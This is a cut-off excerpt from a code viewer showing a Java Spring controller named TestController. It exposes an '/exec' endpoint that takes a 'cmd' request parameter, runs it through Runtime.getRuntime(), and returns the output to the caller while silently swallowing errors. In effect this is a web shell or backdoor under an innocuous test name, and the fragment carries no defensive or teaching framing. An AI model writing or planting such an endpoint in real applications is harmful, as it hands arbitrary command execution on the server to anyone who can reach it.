(HttpServletRequest request, HttpServletResponse response)
| 10 | @Controller |
| 11 | public class TestController { |
| 12 | @RequestMapping({"/exec"}) |
| 13 | public void index(HttpServletRequest request, HttpServletResponse response) throws Exception { |
| 14 | String cmd = request.getParameter("cmd"); |
| 15 | |
| 16 | try { |
| 17 | String result = this.CommandExec(cmd); |
| 18 | response.getWriter().println(result); |
| 19 | } catch (Exception var7) { |
| 20 | } |
| 21 | } |
| 22 | |
| 23 | public String CommandExec(String cmd) throws Exception { |
| 24 | Runtime rt = Runtime.getRuntime(); |
nothing calls this directly
no test coverage detected